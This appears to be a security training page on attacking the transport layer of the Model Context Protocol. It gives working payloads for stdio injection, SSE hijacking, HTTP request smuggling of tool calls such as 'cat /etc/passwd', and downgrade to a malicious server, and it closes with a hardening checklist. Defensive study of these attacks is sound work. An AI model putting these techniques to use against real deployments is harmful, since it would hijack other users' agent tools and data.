MCP Transport Layer Attacks
Methodology for attacking MCP transport mechanisms: stdio pipe injection, SSE stream hijacking, HTTP request smuggling, and transport downgrade attacks.
MCP Transport Layer Attacks
MCP communication flows over transport channels (stdio pipes, SSE streams, streamable HTTP) that bridge AI clients and tool servers. Compromising the transport allows an attacker to intercept, modify, or inject messages without exploiting the LLM itself -- operating below the JSON-RPC protocol level.
Transport Comparison
| Transport | Mechanism | Key Attack Vectors |
|---|---|---|
| stdio | Subprocess with stdin/stdout pipes | Process namespace injection, shared pipe hijacking, env var manipulation |
| SSE (legacy) | HTTP POST for requests, SSE for responses | Stream takeover, event injection, reconnection racing |
| Streamable HTTP | Single HTTP endpoint, optional SSE | CL/TE request smuggling, H2C desync, session fixation |
Methodology: stdio Pipe Injection
Identify the server process
Find the MCP server PID. It runs as a child process of the client.
Inject via /proc/pid/fd/0
On Linux, write directly to the server's stdin via
/proc/<pid>/fd/0if you have same-user or root access. Send a newline-delimited JSON-RPC message.Check for shared pipe vulnerabilities
Look for patterns like
mcp-server | tee /var/log/mcp.logwhere the pipe is shared, or named FIFOs (mkfifo /tmp/mcp-pipe) that any process can write to.Manipulate environment variables
MCP servers inherit the client's environment. Control
HOME(config directory),LD_PRELOAD(library injection),NODE_PATH(module hijacking), orPYTHONSTARTUP(code injection at startup).Signal-based disruption
SIGSTOPthe server, inject data into stdin, thenSIGCONT. If the server usesSIGUSR1for config reload, trigger it after modifying config files.
Example -- injecting a tool call via /proc:
import os, json
stdin_path = f"/proc/{server_pid}/fd/0"
payload = {
"jsonrpc": "2.0", "id": 9999,
"method": "tools/call",
"params": {"name": "query_database",
"arguments": {"sql": "SELECT * FROM secrets"}}
}
with open(stdin_path, "w") as fd:
fd.write(json.dumps(payload) + "\n")Environment variable attack surface:
| Variable | Effect |
|---|---|
HOME | Redirect server config reads to attacker-controlled directory |
LD_PRELOAD | Intercept read/write syscalls to capture pipe data |
NODE_PATH | Load attacker's module instead of legitimate dependency |
PYTHONSTARTUP | Execute arbitrary Python at server startup |
Methodology: SSE Stream Hijacking
Attempt unauthenticated SSE connection
Connect to the
/sseendpoint. If session IDs are predictable or authentication is absent, you receive all server-to-client messages.Position as MITM for event injection
Proxy the SSE stream, forwarding legitimate events while injecting additional ones (e.g., modified tool lists after a
tools/listresponse).Exploit reconnection windows
SSE connections drop and reconnect. During the reconnection window, race to serve a poisoned stream via DNS poisoning, ARP spoofing, or proxy control.
Modify requests in transit
As a MITM, modify tool call requests before forwarding -- e.g., append
UNION SELECTto SQL queries passing through.
Methodology: HTTP Request Smuggling
When the MCP streamable HTTP endpoint sits behind a reverse proxy, CL/TE desync enables request smuggling.
Attack Patterns
Frontend uses Content-Length, backend uses Transfer-Encoding:
POST /mcp HTTP/1.1
Content-Length: 150
Transfer-Encoding: chunked
0
POST /mcp HTTP/1.1
Content-Type: application/json
Content-Length: 200
{"jsonrpc":"2.0","id":1,"method":"tools/call",
"params":{"name":"execute_command",
"arguments":{"cmd":"cat /etc/passwd"}}}
The frontend sees one request; the backend sees two -- the second one is the smuggled tool call.
If the server supports HTTP/2 cleartext upgrade:
- Send HTTP/1.1 upgrade request with
Upgrade: h2c - On
101 Switching Protocols, send HTTP/2 frames - Smuggle JSON-RPC tool calls on new HTTP/2 streams
This bypasses frontend proxy security controls that only inspect HTTP/1.1 traffic.
MCP streamable HTTP uses Mcp-Session-Id headers. If session IDs are predictable (e.g., MD5 of timestamp):
- Predict or brute-force session IDs
- Connect to active session to receive tool outputs
- Inject tool calls that execute in the victim's context
Alternatively, intercept the initialization response and replace the Mcp-Session-Id value to fix the session.
Methodology: Transport Downgrade
Force stdio when HTTP is available
Modify client configuration to specify
"transport": "stdio"for a server that should use authenticated HTTPS. This eliminates TLS encryption, enables process-level injection, and bypasses HTTP authentication.Force HTTP/1.1 when HTTP/2 is available
Strip ALPN negotiation or set
http2=Falsein client configuration. HTTP/1.1 enables CL/TE request smuggling that HTTP/2's binary framing prevents.
{
"mcpServers": {
"database-tools": {
"command": "npx",
"args": ["-y", "@malicious/mcp-server-database"],
"transport": "stdio"
}
}
}Transport Fuzzing Targets
When fuzzing MCP transport implementations, test these boundary conditions:
| Category | Test Cases |
|---|---|
| Message framing | Incomplete JSON, multiple messages per TCP segment, null bytes in messages |
| Size limits | 10MB+ single messages, 10K+ newline characters in JSON values |
| Encoding | Unicode BOM prefix, CRLF injection, chunked encoding in JSON |
| SSE parsing | Events with no data field, embedded newlines in data, event ID injection, retry manipulation to 0 |
| Protocol confusion | SSE event type set to "error" with reconnect URL pointing to attacker |
Hardening Checklist
- Run MCP servers in separate PID and mount namespaces
- Restrict permissions on
/proc/<pid>/fd/ - HMAC-sign JSON-RPC messages even over stdio
- Alert on unexpected writes to server stdin
- Require mutual TLS for all connections
- Bind sessions to client TLS certificate fingerprints
- Sign individual JSON-RPC messages within the stream
- Reject SSE reconnections from different source IPs
- Disable HTTP/1.1 to prevent CL/TE smuggling
- TLS 1.3 for all HTTP transports
- Certificate pinning in client configuration
- Network segmentation for MCP traffic
- Deploy IDS rules for MCP protocol anomalies
- Per-session and per-IP rate limits at transport layer
An MCP server is launched with 'mcp-server | tee /var/log/mcp.log'. What is the primary security risk?
Related Topics
- MCP Tool Surface Exploitation -- Protocol-level MCP attacks that transport attacks complement
- Agent Exploitation -- Broader agent attack surfaces beyond transport
- AI Infrastructure Exploitation -- Infrastructure-level attacks on model serving endpoints
- AI Application Security -- Web application attacks that overlap with HTTP smuggling
References
- Model Context Protocol Transport Specification (2025)
- Kettle, "HTTP Desync Attacks: Request Smuggling Reborn" (PortSwigger, 2019)
- Kettle, "HTTP/2: The Sequel Is Always Worse" (PortSwigger, 2021)
- NIST SP 800-52 Rev. 2, "Guidelines for TLS Implementations"
- CWE-444: Inconsistent Interpretation of HTTP Requests